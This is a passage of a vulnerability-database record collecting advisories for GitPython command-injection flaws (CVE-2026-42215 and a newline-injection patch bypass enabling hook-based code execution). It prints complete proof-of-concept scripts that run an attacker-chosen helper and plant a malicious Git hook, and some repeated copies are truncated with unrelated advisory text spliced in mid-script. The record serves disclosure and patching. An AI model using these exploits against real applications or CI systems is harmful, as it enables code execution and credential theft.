script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin  \u003credacted\u003e Darwin Kernel Version  \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.","status":"published","published":"2026-04-25T23:42:16Z","modified":"2026-05-08T21:52:14Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:05.816188Z"}],"nvd":[{"id":"CVE-2026-42215","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T19:16:01.64Z","modified":"2026-11-11T23:10:00.263Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-12T01:26:59.692044Z"}],"osv":[{"id":"ALPINE-CVE-2026-42215","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T19:16:01.64Z","modified":"2026-11-03T06:33:02.836215621Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2026-42215","title":"GitPython: Command injection via Git options bypass","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T18:17:03.194Z","modified":"2026-10-28T02:30:20.339180944Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:04.117819Z"},{"id":"DEBIAN-CVE-2026-42215","description":"GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.","status":"published","published":"2026-05-07T19:16:01.64Z","modified":"2026-10-31T14:00:08.178945509Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:54.892385Z"},{"id":"GHSA-mv93-w799-cj2w","title":"GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath","description":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","status":"published","published":"2026-05-08T23:19:02Z","modified":"2026-09-17T09:10:55.92880336Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-20"],"updated_at":"2026-11-02T15:46:52.170928Z"},{"id":"GHSA-rpm5-65cw-6hj4","title":"GitPython has Command Injection via Git options bypass","description":"### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n    f.write(f\"\"\"#!/bin/sh\n{{\n  echo \"code_exec=1\"\n  echo \"whoami=$(id)\"\n  echo \"cwd=$(pwd)\"\n  echo \"uname=$(uname -a)\"\n  printf 'argv='; printf '\u003c%s\u003e' \"$@\"; echo\n  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=\u003credacted\u003e/' || true\n}} \u003e '{proof}'\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n    f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n    [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n    check=True,\n    stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n    remote.fetch(**{\"upload-pack\": wrapper})\n    print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n    print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \u003credacted\u003e\ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin  \u003credacted\u003e Darwin Kernel Version  \u003credacted\u003e; root:xnu-11417. \u003credacted\u003e\nargv=\u003c/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git\u003e\nUSER=\u003credacted\u003e\nSSH_AUTH_SOCK=\u003credacted\u003e\nPATH=\u003credacted\u003e\nHOME=\u003credacted\u003e\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.","status":"published","published":"2026-04-25T23:42:16Z","modified":"2026-09-10T03:51:03.167884784Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:56.281047Z"},{"id":"OESA-2026-2306","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n    f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n  echo \u0026quot;code_exec=1\u0026quot;\n  echo \u0026quot;whoami=$(id)\u0026quot;\n  echo \u0026quot;cwd=$(pwd)\u0026quot;\n  echo \u0026quot;uname=$(uname -a)\u0026quot;\n  printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n  env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","status":"published","published":"2026-05-15T11:11:16Z","modified":"2026-08-18T01:19:53.255086804Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-2307","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n    f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n  echo \u0026quot;code_exec=1\u0026quot;\n  echo \u0026quot;whoami=$(id)\u0026quot;\n  echo \u0026quot;cwd=$(pwd)\u0026quot;\n  echo \u0026quot;uname=$(uname -a)\u0026quot;\n  printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n  env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)","status":"published","published":"2026-05-15T11:11:16Z","modified":"2026-08-18T01:19:53.424043995Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:46.087701Z"},{"id":"OESA-2026-2308","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and 